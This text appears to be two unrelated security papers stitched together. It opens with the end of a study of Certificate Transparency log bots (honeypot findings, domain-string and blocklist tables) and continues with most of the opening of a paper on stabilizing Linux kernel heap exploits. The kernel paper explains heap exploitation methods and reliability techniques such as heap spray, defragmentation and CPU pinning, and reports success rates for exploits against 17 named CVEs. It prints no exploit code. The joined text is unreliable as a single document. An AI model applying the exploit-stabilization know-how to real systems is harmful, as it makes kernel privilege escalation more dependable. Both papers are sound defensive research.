of subdomain strings to remain on top of evolving trends.

We also note that our choice of TLD could bias our findings
to bots that are only interested these low-cost domains. Our
pilot study (Section 3.2) demonstrated that, in addition to
an overall greater amount of traffic generated towards our
measurement node with a low-cost TLD, there is a large
overlap of interest in low and high cost TLDs. By limiting
our study to a single TLD, we were able to narrow its scope,
providing a more focused analysis on the effect of subdomain
content on web bot behavior. We encourage future work to
expand upon our pilot study, to fully understand the effects
of TLD choice on CT bot behavior.

7 Related Work
Web Bot Detection & Measurement
The pervasiveness of bots in network communications has led
to considerable work in developing strategies to detect and
measure them. Prior studies have utilized supervised machine
learning models to differentiate real users from web bots using
features derived from their browsing patterns. This includes
timing analysis of sessions (e.g. total visit time, time between
requests, etc.), distribution of request types (GET, POST,
HEAD, etc.), and the types of files requested [41, 61, 71].
Jacob et al. took this a step further by creating a system to not
only detect and augment responses for particular bots, but also
correlate requests from distinct IP addresses into coordinated
campaigns [51]. Jan et al. addressed a common limitation of
bot detection work, the lack of groundtruth datasets, by using
data augmentation techniques to create artificial samples from
real-world datasets [52].

Prior work has also explored web bots at scale to understand
their general behaviors and strategies, including analyzing the
web server logs of various academic websites to determine
the common behaviors of search engine bots and general web
bots [43, 44]. Xie et al. designed a bot detection system and
used it to discover and analyze bots targeting a university
campus network over the course of six months [74]. Li et al.
created a honeysite system used to deploy various popular web
application software to study the behaviors of bots targeting
these particular applications. By ensuring the domains
corresponding to these sites were never registered prior their
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experiments, they were able to assume all visits to their hon-
eysites were from web bots, rather than real users. Using this
system, the authors were able to uncover malicious behaviors
of bots targeting each web application, including credential
brute forcing and exploitation attempts of known CVEs [58].

Existing work in the area of bot detection and characteri-
zation is focused primarily on Internet-wide scanning bots, or
bots that feed off of pre-curated lists of long-standing websites.
In this paper, we study a previously unexplored subset of
bots, those which feed of CT logs. These logs provide bots
with increased information about all sites, enumerating even
otherwise-hidden subdomains that need to create a certificate.

Certificate Transparency
The creation and subsequent adoption of CT by the web has
fostered the growth of an ecosystem consisting of numerous en-
tities. Prior work has studied this ecosystem to determine how
it operates in practice, including the actions of particular log
operators, monitors, and auditors [49, 57, 65]. Stark et al. stud-
ied the overall success of the deployment of CT, to determine
if its enforcement by browsers breaks web functionality [70].

Work has also been done to understand the security and
privacy impacts of CT. This includes the implications of CT on
end-user privacy as well as the unintended leakage of informa-
tion because of the logging of all TLS certificates [47, 53, 66].
Dowling et al. also explore the resilience of CT against attack-
ers at various vantage points using cryptographic means [45].

In our work, we explore an unintended use of CT: as a log of
all newly created web endpoints. We therefore take inspiration
from the work of Scheitle et al. who study the information leak-
age caused by CT [68]. The authors use CT to advertise random
domains and monitor the network traffic directed towards
the authoritative name servers for those domains, as well as
network scans directed towards the IP addresses behind those
domains. They find that DNS queries for domains appearing
on CT logs reach their nameservers 73 seconds after certificate
creation, and occasional port scans on their honeypot machines.
Our work builds upon their findings by adding different ex-
perimental conditions (via the advertising of Impersonating,
Sensitive, and Baseline domains) to assess the level of
targeting, as well as modern fingerprinting techniques that
allow us to uncover the real software utilized by CT bots and
cluster seemingly independent clients as part of campaigns.

8 Conclusion
In this paper we presented CTPOT, a system for deploying
and managing honeypots at various network vantage points
which are associated with pseudo-random domain names
advertised on Certificate Transparency (CT) logs. Using
CTPOT, we conducted a ten week study of CT bots, recording
1.5 million total web requests from 31,898 unique IP addresses,
directed towards the domains we advertised. As each domain
generated by CTPOT was previously unused and completely
unguessable, our curated dataset consists entirely of bot traffic.

By analyzing this dataset, we were able to uncover that CT
bots are a distinct, yet highly-active, subset of the overall web
bot population. During our data-collection period, we observed
over ten times more requests from CT bots than IP-based bots.
Moreover, our domain-generation strategy allowed us to ob-
serve unique behavior from CT bots targeting only a subset of
domains on CT with particular content of interest. For instance,
we discovered that 63% of unique IP addresses only targeted do-
mains that impersonate popular trademarks. We also observed
that bots targeting domains associated with common web appli-
cations exhibit substantially more malicious behavior, includ-
ing attempts to authenticate with network services such as SSH
occurring over twice as often as bots targeting other domains.

Lastly, we make associations between seemingly isolated
bots, and find 539 request campaigns sharing identical file
paths, and TLS fingerprints. Our findings demonstrate how
operators deploy their bots into large infrastructures across
many unique IP addresses. Furthermore, we identify malicious
activity within these campaigns, discovering 17.6% contain
payloads relating to data exfiltration, fingerprinting, and
vulnerability exploitation.
Availability
Using CTPOT we curated a dataset consisting entirely of
requests originating from CT bots. To assist in the under-
standing and further exploration of CT bots by the research
community, we make our dataset available to other researchers
at https://uninvited-guests.github.io.
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A Appendix

Table 5: Strings used to construct domains for each of the three
measurement categories.

Impersonating Sensitive Baseline
apple phpmyadmin banana
paypal wp-admin pear
facebook wordpress peach
twitter drupal strawberry
instagram admin watermelon
linkedin cpanel melon
google demo cherry
youtube testphp grape
chase administrator grapefruit
venmo mail avocado
zoom mailserver blueberry
microsoft mysql coconut
dhl postgres clementine
bestbuy db fig
dropbox sql guava
youtube ssh honeydew
qq webmin kiwi
baidu internal lemon
sohu private mango
taobao members peach
yahoo staging artichoke
netflix blog asparagus
reddit test arugula
office webmail bean
alipay wp beet
coinbase ws broccoli
myshopify example cabbage
twitch login carrot
ebay dev cauliflower
adobe demo corn
aliexpress ftp cucumber
tiktok gateway ginger
alibaba irc kale
amazonaws old lettuce
spotify smtp mushroom
walmart shop pea
nih files pepper
americanexpress app potato
tmall git pumpkin
canva hostmaster red
bing firewall blue
tdameritrade api green
wellsfargo store orange
robinhood printer yellow
bankofamerica users purple
binance proxy violet
kraken forum indigo
gemini vpn brown
bittrex m black
indeed ns white

Qualifiers
reviews
tutorials
lessons
assistance
support
help
advice
coaching
education
guidance

Table 6: List of Firehol blocklists used to determine maliciousness
of CT bot IP addresses.

Firehol Blocklist
Alienvault Reputation
Blocklist De Bots
Blocklist De Bruteforce
Blocklist De
Blocklist De SSH
Blocklist De Strongips
Blocklist Net Ua
Botscout 1d
Botscout 30d
Botscout 7d
Botscout
Botvrij Dst
Bruteforceblocker
Cleantalk 1d
Cleantalk 30d
Cleantalk 7d
Cleantalk New 1d
Cleantalk New 30d
Cleantalk New 7d
Cleantalk New
Cleantalk Updated 1d
Cleantalk Updated 30d
Cleantalk Updated 7d
Cleantalk Updated
Cruzit Web Attacks
Cta Cryptowall
Cybercrime
Dyndns Ponmocup
Et Compromised
Et Tor
Gpf Comics
Greensnow
Haley SSH
Malc0de
Myip
Php Dictionary 1d
Php Dictionary 30d
Php Dictionary 7d
Php Dictionary
Threatcrowd
Turris Greylist
Uscert Hidden Cobra
Vxvault
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Abstract
The dynamic of the Linux kernel heap layout significantly
impacts the reliability of kernel heap exploits, making ex-
ploitability assessment challenging. Though techniques have
been proposed to stabilize exploits in the past, little scientific
research has been conducted to evaluate their effectiveness
and explore their working conditions.

In this paper, we present a systematic study of the kernel
heap exploit reliability problem. We first interview kernel
security experts, gathering commonly adopted exploitation
stabilization techniques and expert opinions about these tech-
niques. We then evaluate these stabilization techniques on 17
real-world kernel heap exploits. The results indicate that many
kernel security experts have incorrect opinions on exploita-
tion stabilization techniques. To help the security community
better understand exploitation stabilization, we inspect our
experiment results and design a generic kernel heap exploit
model. We use the proposed exploit model to interpret the
exploitation unreliability issue and analyze why stabilization
techniques succeed or fail. We also leverage the model to
propose a new exploitation technique. Our experiment indi-
cates that the new stabilization technique improves Linux
kernel exploit reliability by 14.87% on average. Combin-
ing this newly proposed technique with existing stabilization
approaches produces a composite stabilization method that
achieves a 135.53% exploitation reliability improvement on
average, outperforming exploit stabilization by professional
security researchers by 67.86%.

1 Introduction

The Linux kernel is an intricate interleaving of many com-
ponents, working together to power the modern computing
landscape. Analogous to user-space software, many of these
components dynamically allocate and deallocate memory
from a memory region created for this purpose: the “kernel
heap”. Unfortunately, in the presence of certain programming

∗First two authors contributed equally to this work.

mistakes, these components can mismanage their allocations,
leading to memory errors in the heap that can compromise
the security of other components and the whole kernel.

To take advantage of kernel heap memory errors and ex-
ecute a successful exploit, an attacker must make precise
predictions and effect careful control of kernel heap config-
uration, generally from an attacking process in userspace.
However, the intertwined design of relevant Linux kernel
components, such as the memory allocator and task sched-
uler, impacts actual runtime heap layout in complex and un-
predictable ways, often making it different from the layout
expected by the attacker. This unpredictability of kernel heap
layout leads to exploit failures and makes heap-based Linux
kernel exploitation notoriously unreliable.

On the one hand, this impact of complexity on kernel heap
exploitation reliability seems to help protect kernels from at-
tack. However, on the other hand, it impacts the identification
and classification of vulnerabilities as it makes vulnerability
reproduction difficult. Overwhelmed developers may deprior-
itize fixes for vulnerabilities considered to be unexploitable
or very unreliable to trigger in favor of other bugs. This gives
savvy attackers a window to exploit unfixed vulnerabilities
and cause damage to real-world systems.

In this paper, we aim to address this situation by studying
and developing techniques that increase the reliability of ker-
nel exploits, helping to properly demonstrate the impact and
criticality of the underlying vulnerabilities.

Previous research demonstrates kernel vulnerability ex-
ploitability by generating a test case that works with a non-
zero probability [21, 30, 42, 43]. On the contrary, little re-
search has been done to address the exploitation reliability
problem — if a kernel heap vulnerability is exploitable, then
how to achieve a high exploitation success rate and properly
understand the chance of a successful attack? While kernel
heap exploit stabilization techniques, including Heap Groom-
ing [35] and Defragmentation [44], exist in the wild, little
progress has been made to systematically determine their effi-
cacy or investigate how to apply these techniques to improve
exploit reliability. Instead, human analysts primarily rely upon
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their personal expertise and intuition in assessing and adopt-
ing these techniques, which is ad-hoc and error-prone.

In this work, we present a systematic study on the kernel
heap exploit reliability problem. Our study aims to answer the
following research questions: (1) What are the common kernel
heap exploit stabilization techniques in the wild? (2) What
are expert opinions on using these techniques, and what are
the real-world evaluation results? Are these expert opinions
correct? (3) What are the reasons that a stabilization technique
succeeds/fails? (4) How to improve kernel exploit reliability?

To answer these questions, we conducted a hybrid study
with both qualitative and quantitative analyses. We inter-
viewed 11 kernel exploitation experts, collecting 5 stabiliza-
tion techniques along with experts opinions about these tech-
niques. We then implemented exploits for 17 real kernel heap
vulnerabilities and measured the reliability improvement asso-
ciated with each stabilization technique. Finally, we compared
the experimental results against the expert opinions and inves-
tigated the factors contributing to exploit unreliability.

In our measurements, we found that expert opinions are
incorrect in many kernel heap exploit scenarios. For exam-
ple, many experts considered Defragmentation to improve the
reliability of all exploits, but we discovered that Defragmen-
tation is effective only for heap-based out-of-bound access
(OOB) vulnerabilities, but not for use-after-free (UAF) and
double-free (DF) vulnerabilities. Furthermore, we discovered
that the Defragmentation technique actually reduces exploit
reliability if misused in UAF or DF vulnerability exploitation.

To better understand the kernel heap exploit reliability prob-
lem, we devised a generic kernel heap exploit model that
illustrates contributing factors and explains why each tech-
nique succeeds or fails to improve exploit reliability. Inspired
by our model, we created a novel technique, called Context
Conservation, to improve exploitation reliability for DF and
UAF vulnerabilities. Our evaluation shows that the technique
improves exploit reliability by 14.87% on average. When
Context Conservation is combined with existing exploit stabi-
lization techniques, this composite method improves exploit
reliability by an average of 135.53%. Furthermore, it outper-
forms the exploits crafted by human experts by 67.86%.

In summary, this paper makes the following contributions:
• A systematic study on the existing kernel heap exploit

stabilization techniques commonly used in practice.
• The design of a general kernel heap exploit model that

explains the exploit reliability problem.
• The development and evaluation of a sole technique,

named Context Conservation, and a technique combina-
tion that both significantly improve kernel exploit relia-
bility.

We release the implementation and the experiment dataset1

to foster future research. We believe the artifacts will benefit

1https://github.com/sefcom/KHeaps

the community by helping to stabilize future kernel exploits
and to evaluate future exploit stabilization techniques.

2 Background

In this section, we introduce the technical backgrounds related
to kernel heap exploit reliability problem.

2.1 Exploit-related Linux Kernel Design

Kernel Memory Allocator. Linux kernel uses SLUB allo-
cator for managing the kernel heap. The allocator creates a
cache storage unit for kernel objects of the same size. Each
cache maintains a list of pages, and each page is called a slab.
When a fresh slab is created, it is partitioned into multiple
slots of the same size. The slots are then chained together,
forming a per-slab freelist. While the per-slab freelist will be
shuffled and become randomized after a few heap operations,
the layout of a fresh freelist is deterministic.

At the runtime, each CPU operates on different slabs to
avoid contention. The freelist of the slab used by a CPU is usu-
ally referred to as a per-CPU freelist. When a CPU allocates
an object, it takes one slot from its per-CPU freelist for the
object. When an object is released, the allocator determines
the corresponding slab, and returns the object’s slot back to
the slab’s per-slab freelist.
Task Scheduler. A kernel task scheduler decides the execu-
tion order of running processes. Linux kernels use Completely
Fair Scheduler (CFS) [1] to schedule processes, which sched-
ules processes in the granularity of threads and calls them
tasks. It keeps track of all tasks ready to run in a runqueue.

In multi-core systems, each CPU maintains its per-CPU
runqueue and records the workload in the runqueue. When the
workloads on CPUs are imbalanced, the kernel will migrate
tasks from a heavy-workload runqueue to a light-workload
runqueue. Generally, the busier the system is, the more fre-
quently task migration occurs.
Context Switch. One CPU can execute only one task at a
time. A context switch occurs when the task scheduler tells a
CPU to stop the current task and run another task to simulate
concurrent execution. When it happens to a userspace process,
the process will be stopped and wait to be resumed.

Since Linux kernel is preemptive, a context switch can
potentially occur at any moment to a running process, which
effectively introduces a long-time sleep to the process.

2.2 Exploitation Methods

In general, there are four kernel heap exploit methods:
Out-of-bounds Object (OOB-Object) Exploits. The
OOB-Object exploits are resulted from heap object overflow
vulnerabilities. The exploits tamper the critical fields in the
adjacent object (i.e., target object) and hijack kernel control
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flow. For example, it can overwrite function pointers or hijack
virtual table pointers adjacent to the overflowed object.
Out-of-bounds Freelist (OOB-Freelist) Exploits. An-
other way to exploit OOB vulnerabilities is to hijack the slab
freelist by overwriting the list metadata stored in the adjacent
freed slot (i.e., target slot). This approach drives the kernel
to chain an adversary-controlled address into the slab freelist
for allocating kernel objects in the desired memory region.
Use-after-free (UAF) Exploits. An UAF exploit occurs in
two steps. First, it releases a vulnerable object and leaves the
freed slot on the kernel heap using the vulnerability. Then,
he/she tricks the kernel to write adversary-controlled data on
the freed slot, tampering with critical fields (e.g., pointers, list
metadata). Using the same approach as in OOB exploitation,
the adversary can obtain control over kernel execution.
Double-free (DF) Exploits. When a double-free vulnera-
bility is triggered, the kernel heap is corrupted with the same
slot appearing twice in the freelist, allowing an adversary to
hijack the control flow. First, the adversary allocates a victim
object at the target slot. Then, he/she can allocate another
object with desired data at the same slot, overwriting the vic-
tim object. The second allocation overwrites critical fields in
the victim object. As a result, the adversary can hijack the
program counter in the same approach as described above.

2.3 Exploitation Unreliability Issue

The kernel heap is used at runtime by different kernel com-
ponents, such as processes, interrupts, softirq, etc. In kernel
heap exploitation, these components could impose intensive
heap usages, making it unreliable to allocate objects at the
desired slot. Even worse, a task migration may occur during
exploitation. Due to the per-CPU freelist design, the migra-
tion implicitly changes the freelist in use, which can cause
the failure of exploitation (§6.1).

Several techniques are commonly used to improve kernel
heap exploit reliability in practice. For example, Defragmen-
tation [44] improves exploit reliability by allocating many
objects to drain freed slots and force new slab creation. Since
the new slab’s layout is predictable, the exploit can locate
target slots precisely, thus more likely to succeed. In our pa-
per, we call such techniques kernel heap exploit stabilization
techniques, or exploit stabilization techniques for short.

Although the exploit stabilization techniques are preva-
lent in practice, little research has been done to study these
techniques. The security community not only lacks the under-
standing of why each of the exploit stabilization techniques
improves exploit reliability but also fails to mention whether
the techniques are effective under all conditions and, if not,
what is the condition to apply an exploit stabilization tech-
nique. As such, security analysts use these techniques in an
ad-hoc way which, as we will show in the later sections, could
result in no improvement or even a negative impact on the
kernel heap exploit reliability.

3 Overview

Problem Statement. We define the kernel heap exploit re-
liability problem as the issue that a kernel heap exploit cannot
work reliably. While previous works [21, 30, 42, 43] seek
for solutions to generate exploits that work with a positive
success rate (e.g., an exploit works once out of one hundred
attempts), our paper focuses on the problem of how to help
these generated exploits gain higher success rates.
Approach. We design a hybrid approach to study the ker-
nel heap exploit reliability problem. Our approach includes
both qualitative human subject studies and quantitative ex-
periments. We first conduct a qualitative study on security
experts, through which we identify commonly-used kernel
heap exploit stabilization techniques and experts’ opinions
on each technique (§4). Next, we evaluate the stabilization
techniques on real-world Linux kernel vulnerabilities and
measure the reliability of the corresponding exploits with and
without each technique (§5). Based on the experiment results,
we identify the experts’ misconceptions (§5.3), investigate
the factors impactful on exploit reliability (§5.4), and build
a generic model to explain the kernel heap exploit reliabil-
ity problem (§6). Finally, we use the model to explore novel
techniques and thus boost exploit reliability (§7).

4 Kernel Heap Exploit Reliability Interview

The interview aims to (1) identify techniques commonly used
by experts to improve exploit reliability, (2) collect experts’
opinions regarding the techniques, and (3) gather implemen-
tation suggestions from experts for later empirical evaluation.
As the interview involves human subjects, we submitted our
experiment to the IRB and received an exemption.

To recruit participants, we invited security experts to par-
ticipate in our study and screened the experts as experiment
participants by their experience in Linux kernel exploitation.
In total, we recruited 11 participants. The participants consist
of 4 professional red-team exploit developers and 7 kernel
security researchers from academic institutions. All of these
participants have more than 2 years of kernel exploit expe-
rience. They developed 24 end-to-end Linux kernel exploits
on average. We believe this group of experts has adequate
experience for our study.

Our interview survey provided a list of exploitation sta-
bilization techniques — we believe — security researchers
commonly adopt. As depicted in Table 1, the list contains
5 exploitation stabilization methods. They are summarized
from public exploit writeups, broadly available exploit imple-
mentation, and tech forums. Following each technique, we
also specified different conditions under which the technique
may take effect properly. These working conditions were pro-
vided to participants for selection as part of the survey. For
some techniques, our survey also asks participants to compare
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Technique Empirical Results # correctness

Defragmentation

1-1. Works for UAF, DF, and OOB 7 7
1-2. Only works for OOB 3 3
1-3. Only works when the workload of the target machine is light 4 7
1-4. Most effective among all techniques 1 7
1-5. Even if this technique does not improve reliability, at least, it doesn’t harm reliability 1 7
1-6. I don’t know this technique 1 N/A
1-7. I have no clue how to use this technique 0 N/A

Heap Grooming

2-1. Only works for OOB 2 3
2-2. Only works when the workload of the target machine is light 3 7
2-3. More useful than Defragmentation 1 3
2-4. This technique is as good as Defragmentation 1 7
2-5. I don’t know this technique 7 N/A
2-6. I have no clue how to use this technique 1 N/A
3-1. Works for UAF, DF, and OOB 7 7

Single-Thread 3-2. Most effective among all techniques 1 7
Heap Spray 3-3. I don’t know this technique 1 N/A

3-4. I have no clue how to use this technique 2 N/A
4-1. Works for UAF, DF, and OOB 7 7
4-2. The single-thread implementation is as good as the multiple-process implementation 1 7

Multi-Process 4-3. The single-thread implementation is better than the multiple-process implementation 2 7
Heap Spray 4-4. Most effective among all techniques 1 7

4-5. I don’t know this technique 1 N/A
4-6. I have no clue how to use this technique 2 N/A

CPU Pinning

5-1. Effective only when the threads/processes for exploit are pinned to idle CPUs 3 7
5-2. Heavy workload will influence the effectiveness 1 3
5-3. I don’t know this technique 8 N/A
5-4. I have no clue how to use this technique 0 N/A

Table 1: Summary of security experts’ opinions on exploitation stabilization techniques. # column indicates the amount of
participants holding the corresponding opinion. In the correctness column, 7 means the claim is inconsistent with our systematic
measurement results whereas 3 implies consistency.

their effectiveness with each other. The list of open questions
in the survey can be found in Figure 2 in the Appendix.

Since the list of exploit stabilization techniques and their
working conditions may be limited by our knowledge, the
survey is designed to allow the participants to complement
the list. Suppose participants have never heard about a specific
exploitation method listed in the survey or have no clue about
the condition under which the technique could be applied.
In that case, the survey also allows them to specify these
situations. In Figure 2, we present the full survey questions
used in our user study.

Following the survey questions, we interviewed each par-
ticipant. In the interview, we provided the technical details
of 17 real-world kernel vulnerabilities to the participants. As
discussed Section 5, these vulnerabilities represent a corpus
of test cases that we use to evaluate exploit stabilization tech-
niques. We asked whether the stabilization techniques present
in the survey could be applied to improve exploitation relia-
bility for each vulnerability. If so, how they would implement
and predict the reliability of the implemented exploit in differ-
ent workload settings. More specifically, we asked our human
subjects the implementation details, including what system
calls to use, whether to create separate threads or fork multiple
processes for executing the technique code, etc.

Recall that part of our research is to evaluate the effective-
ness of the stabilization techniques and then compare these
security experts’ intuitions with our experiment results. As a

result, our user study also includes a post-survey interview.
In this interview, we presented and shared our experiment
discovery with the participants. We asked whether our experi-
ment discovery helped them better understand a stabilization
technique if they did not properly use it. We also asked if our
discovery corrected their opinion on an exploitation stabiliza-
tion technique if their previous answer mismatched with our
evaluation result. In this way, we can rule out the possibil-
ity that participants’ opinion misalignment results from their
misunderstanding of our survey questions.

4.1 Stabilization Techniques

Through our survey, we confirmed the following stabilization
techniques are those commonly adopted. All the exploit stabi-
lization methods are known by a subgroup of the participants.
In the following, we briefly describe these commonly-adopted
stabilization techniques.
1. Defragmentation allocates a large number of objects in

the same cache as the vulnerable object so that it fills up
all the half-full slabs in the cache, forcing the allocator to
create new slabs.

2. Heap Grooming creates a heap layout where the vulnera-
ble object is right next to a victim object. Such layout is
beneficial for some of the heap exploits. To achieve the
goal, Heap Grooming initializes the kernel heap by allo-
cating many victim objects and then swapping one victim
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object with the vulnerable object by performing quick free
and malloc operations.

3. Single-Thread Heap Spray occupies the desired slot by
allocating many objects. Single-Thread Heap Spray is per-
formed in the same thread or a separate thread for better
modularization. It is used after triggering a UAF/DF vul-
nerability or before triggering a OOB vulnerability.

4. Multi-Process Heap Spray, similar to Single-Thread
Heap Spray, aims to occupy the desired slot for an ex-
ploit. The difference lies in the implementation approaches.
Single-Thread Heap Spray employs only one thread,
whereas Multi-Process Heap Spray forks multiple pro-
cesses for allocating payload objects.

5. CPU Pinning attaches the execution of exploit thread-
s/processes to a specific CPU to prevent task migration. It
works by invoking sched_setaffinity system call.

4.2 Interview Responses
Table 1 presents the participants’ opinions on each stabiliza-
tion technique. The number in the third column indicates how
many participants provide that corresponding response in the
survey. Below, we summarized the responses.
• A majority of the experts (roughly half or more than

half of the participants) share the same opinion on stabi-
lization techniques like Defragmentation, Single-Thread,
and Multi-Process Heap Spray. That is, these techniques
could increase the reliability for exploits targeting arbitrary
heap-based vulnerabilities. Although most security experts
broadly acknowledge this opinion, its correctness lacks sys-
tematic evaluation.

• While all the experts have 2 years of experience in develop-
ing many end-to-end exploits for Linux kernel vulnerabili-
ties, most are not familiar with the exploitation stabilization
techniques like Heap Grooming and CPU Pinning. This
finding aligns with our intensive efforts on the Internet.
Both techniques are rarely mentioned or adopted in pub-
licly available exploits and writeups, as shown in Table 6 in
Section 7.2. It indicates that the knowledge gap exists in the
use of some exploitation stabilization techniques. There is
a need to unveil the techniques, explore their effectiveness,
and summarize the working conditions.

• A small subgroup of security experts holds opposite opin-
ions on some exploitation stabilization techniques. For ex-
ample, three participants deem Defragmentation takes ef-
fect only for OOB vulnerabilities. On the contrary, the ma-
jority of the participants believe this stabilization technique
should work for any heap-based vulnerabilities. This con-
tradictory opinion indicates that the misunderstandings of
these commonly used techniques exist within the kernel ex-
ploit experts. A systematic experiment should be conducted
to conclude the condition under which the corresponding
technique is effective.

Cache Idle Busy

kmalloc-8 0.02 0.04
kmalloc-16 0.01 0.43
kmalloc-32 1.13 31716.30
kmalloc-64 0.70 31728.44
kmalloc-96 0.06 1.62
kmalloc-128 0.65 31416.34
kmalloc-192 0.35 11.44
kmalloc-256 1.13 57827.32
kmalloc-512 0.06 26152.33
kmalloc-1024 0.25 41844.99
kmalloc-2048 0.01 10460.07
kmalloc-4096 1.61 21039.32
kmalloc-8192 0.00 0.04

Table 2: The number of background heap operations each
second on each CPU under different workload settings.

5 Evaluating Stabilization Techniques

In this section, we first introduce how we evaluate the ef-
fectiveness of exploit stabilization techniques. Second, we
present our evaluation results. Third, we compare our discov-
ery from evaluation with human experts’ opinions on exploita-
tion stabilization techniques. Last but not least, we manually
analyze the runtime behavior of each exploit and thus sum-
marize the factors influencing exploitation reliability.

5.1 Experiment Setup
To evaluate the exploit stabilization technique, we set up a
comprehensive experiment. First, we collect and construct a
dataset that consists of public exploits for real-world vulnera-
bilities. Second, we craft exploit variants equipped using each
stabilization technique for each vulnerability by following
the implementation suggestion provided by the interviewed
participants. Third, we develop an evaluation platform, run
the public exploits and the corresponding variants on that
platform, and thus measure the exploitation success rates of
each exploit. Last, we compare the success rates and ana-
lyze the experiment results. In the following, we detail these
experiment setups.
Dataset. We search the Internet and form a dataset con-
taining 17 Linux kernel vulnerabilities and corresponding
public exploits. The vulnerabilities in our dataset cover all
common vulnerability types on the kernel heap. This dataset
is the most extensive corpus of working Linux kernel exploits
to the best of our knowledge. As such, we consider it a rea-
sonable dataset for stabilization technique evaluation. For
the details of vulnerability/exploit selection, readers could
reference Appendix-A.
Exploit Variants. Based on the exploits gathered, we con-
struct baseline exploits for all 17 vulnerabilities. These base-
line exploits are not enhanced with any stabilization tech-
niques. From these baseline exploits, we introduce the sta-
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Type CVE Baseline Defragmentation Heap Single-Thread Multi-Process CPU PinningGrooming Heap Spray Heap Spray

In Idle State
OOB 2017-7533 20.43% 49.03% [+] N/A 98.31% [+] 99.49% [+] 28.80% [+]
OOB 2017-7184 33.51% 99.46% [+] 100.00% [+] 46.37% [+] 96.74% [+] 52.54% [+]
OOB 2016-6187 32.89% 99.63% [+] N/A N/A N/A 32.71% [−]
OOB 2010-2959 22.09% 99.37% [+] 99.89% [+] 56.63% [+] 57.29% [+] 21.54% [−]
OOB 2017-7308 0.04% 0.32% [+] N/A 0.00% [−] 5.28% [+] 0.10% [+]
UAF 2018-6555 89.98% 77.54% [−] N/A 99.68% [+] 100.00%[+] 94.08% [+]
UAF 2016-8655 96.06% 94.28% [−] N/A 99.46% [+] 99.62% [+] 98.84% [+]
UAF 2017-15649 13.82% 12.52% [−] N/A 58.54% [+] 99.88% [+] 99.70% [+]
UAF 2016-4557 99.34% 99.03% [−] N/A 100.00%[+] 100.00%[+] 99.43% [+]
UAF 2017-8824 97.64% 0.10% [−] N/A 97.92% [+] 99.24% [+] 98.60% [+]
UAF 2016-0728 1.48% 6.64% [+] N/A 76.10% [+] 99.94% [+] 3.34% [+]
UAF 2017-10661 31.98% 32.16% [+] N/A 53.76% [+] 84.48% [+] 69.72% [+]
UAF 2016-10150 0.74%∗ 1.02%∗ [+] N/A 1.14%∗ [+] 99.72% [+] 99.56% [+]
UAF 2017-11176 92.17% 11.86%∗ [−] N/A 99.89% [+] 99.91% [+] 97.31% [+]
DF 2017-2636 95.96% 22.58% [−] N/A 99.62% [+] 99.44% [+] 98.06% [+]
DF 2017-6074 98.50% 84.98% [−] N/A 98.80% [+] 92.18% [−] 98.98% [+]
DF 2017-8890 51.96% 0.66% [−] N/A 67.80% [+] 72.82% [+] 81.18% [+]

Statistics (#[+]–#[−]–#[=]) 8-9-0 2-0-0 15-1-0 15-1-0 15-2-0

In Busy State
OOB 2017-7533 7.86% 23.63% [+] N/A 74.57% [+] 80.66% [+] 18.23% [+]
OOB 2017-7184 5.37% 25.00% [+] 51.11% [+] 35.80% [+] 73.63% [+] 6.83% [+]
OOB 2016-6187 2.49% 9.89% [+] N/A N/A N/A 4.94% [+]
OOB 2010-2959 5.83% 20.09% [+] 46.60% [+] 18.37% [+] 44.06% [+] 10.03% [+]
OOB 2017-7308 0.00% 0.00% [=] N/A 0.00% [=] 0.18% [+] 0.00% [=]
UAF 2018-6555 61.92% 61.26% [−] N/A 81.74% [+] 96.38% [+] 73.66% [+]
UAF 2016-8655 0.28% 0.44% [+] N/A 59.50% [+] 99.68% [+] 0.34% [+]
UAF 2017-15649 18.34% 16.64% [−] N/A 37.16% [+] 99.30% [+] 92.02% [+]
UAF 2016-4557 22.80% 17.31% [−] N/A 94.34% [+] 99.29% [+] 18.20% [−]
UAF 2017-8824 93.70% 0.34% [−] N/A 95.00% [+] 98.82% [+] 98.66% [+]
UAF 2016-0728 0.14% 0.18% [+] N/A 33.66% [+] 99.70% [+] 0.06% [−]
UAF 2017-10661 0.18% 0.14% [−] N/A 28.90% [+] 69.54% [+] 0.24% [+]
UAF 2016-10150 47.62% 46.08% [−] N/A 39.58% [−] 63.00% [+] 77.70% [+]
UAF 2017-11176 2.06% 1.77% [−] N/A 40.86% [+] 92.40% [+] 4.03% [+]
DF 2017-2636 93.26% 18.74% [−] N/A 97.80% [+] 99.20% [+] 98.28% [+]
DF 2017-6074 66.16% 49.80% [−] N/A 66.84% [+] 75.52% [+] 64.38% [−]
DF 2017-8890 6.14% 1.44% [−] N/A 20.32% [+] 44.00% [+] 9.24% [+]

Statistics (#[+]–#[−]–#[=]) 6-10-1 2-0-0 14-1-1 16-0-0 13-3-1

Table 3: Performance of reliability techniques in idle and busy systems. N/A indicates that the technique cannot be applied to the
vulnerability. [+] means improvement over baseline, [−] is for degradation, and [=] denotes no change. Some exploits suffer
from timeout issue. For these exploits, we only include exploits that finish execution in 5 minutes for success rate calculation.
The numbers may not reflect their real success rates. These exploits are marked with [∗].

bilization technique individually. Due to the space limit, we
describe the detail of generating baseline exploits and exploits
armed with each stabilization technique in Appendix-A.

Experiment Design. We build an evaluation platform to
ease the process of measuring the success rate of exploits.
With the platform, we can automatically run all exploits for
vulnerabilities and collect the panic logs to determine whether
the exploits succeed or not. Moreover, the platform can eval-
uate exploits under either idle or busy systems to measure
system workload’s influence on exploit reliability. The busy

system is simulated by running Apache benchmark from
Phoronix Test Suite [16] on the target system. The benchmark
workload spawns more than 10 processes and 150 threads,
constantly occupying 81.24% CPU usage on all CPUs and im-
posing intensive pressure on the kernel heap. The background
heap operations (kmalloc and kfree calls) on idle systems and
busy systems are compared in Table 2.

For each exploit, we run it 5000 times and then compute
the success rate. In our experiment, we deem an exploit com-
pletes its execution if it succeeds or triggers a kernel panic.
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This practice follows the convention in the kernel exploit de-
velopment community [4, 6, 10] and avoids unfair advantages
to exploits that include repeated execution logic [8, 9, 11].
We use the success rate of exploits as the indicator of their
reliability. We calculate the average value of 5000 times and
present them in Table 3.

To perform the evaluation experiment, we run the platform
on 4 identical servers, each equipped with Intel(R) Xeon(R)
CPU E5-2670 v2 @ 2.50GHz (20 cores in total) and 252G
memory, running Ubuntu 18.04 LTS. For each vulnerabil-
ity, we re-introduce it into v4.15 Linux kernel, compile the
corresponding kernel and disk image and run the system in
QEMU 5.0.0 virtual machine (VM). The VM is configured in 4
different settings, including 2 CPUs + 2GB RAM, 2 CPUs
+ 4GB RAM, 4 CPUs + 2GB RAM, and 4 CPUs + 4GB
RAM. We did not perform experiments on more CPU/RAM
settings for two reasons. First, running experiments with more
resources is expensive. Second, we did not observe significant
